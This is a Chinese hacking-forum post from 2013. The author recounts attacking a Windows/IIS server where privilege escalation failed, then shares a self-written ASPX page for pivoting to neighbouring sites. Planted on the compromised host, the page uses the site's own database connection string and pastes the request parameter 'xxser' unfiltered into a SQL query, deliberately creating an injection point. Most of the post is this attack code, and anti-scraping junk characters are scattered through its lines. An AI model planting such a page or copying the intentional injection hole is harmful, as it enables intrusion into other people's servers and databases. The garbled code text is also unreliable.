找回密码
 立即注册
查看: 2713|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。" x+ i) [/ M, f* |
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。- L' \7 J; ?6 {
代码量不多,自己写个拉倒了。烦死了。- {1 C6 s  Z& R* X7 s

: S% {: c" f& ~* d6 }" B  V* J# H, }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
! Z, e/ R/ c- W' \* S<html xmlns="http://www.w3.org/1999/xhtml">3 X" Q5 i' y6 q; j
<head runat="server">6 N% s9 c# {' Y& H7 o' G% {
    <title>暗影aspx构造注射专用页面</title>
, ?% h, U3 v8 _5 n, k</head>
4 [3 B0 L$ r* }' R8 F1 X. t0 ~/ K5 o<body>' M& a& T5 X! j: A9 b4 @: J
    <form id="form1" runat="server">  U  e" X( x& n: ^9 Q
    <div>' x( P' ^) t) F
     <script language="c#" runat="server">
/ f! `* d$ P) Y& H# t1 R            ! O; N- u7 V( t7 i8 `0 p
         void page_init(object sender, EventArgs e)
+ g( _: n! A! N# U4 j. J# Y         {0 y+ K; a2 x: F! U% u
            
9 p% F; B* l/ K0 R             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
8 C9 ^+ l: ?  D6 }1 \             ) t% E& N& e7 `( t
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
3 g9 I8 e: ^8 K) x9 m. y             conn.Open();
9 O7 l' [1 n8 V- o7 ]            
$ u7 N; v! `8 R6 [# n' F8 y* X             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
" Y# m2 n) P+ c& t/ O+ L            
% S& {0 l3 S3 A* v0 G' u             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);" F  V% \- w, S: S  r( L
             int x = command.ExecuteNonQuery();
* m: W5 x8 y7 f9 z9 I' Q( q             Response.Write(i+"\n");
/ D1 O* g) Q! H$ b- E             Response.Write(x);' M! y6 @! V$ i' G
             conn.Close();5 Y( J& P! `/ z) T& l1 O8 o
         }& W4 o  q0 n; Z  g
     # x2 o, |, A3 f, {  H! c
  </script>" r/ L; e8 t2 {" A" W4 Y
    </div>% u% I4 v+ k6 \: y+ p; X
    </form>
! e( K' i9 H6 X* V</body>- [* m7 G/ ^- S2 z! ^+ V
</html>5 b% J1 @7 ~% \, H6 c" v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表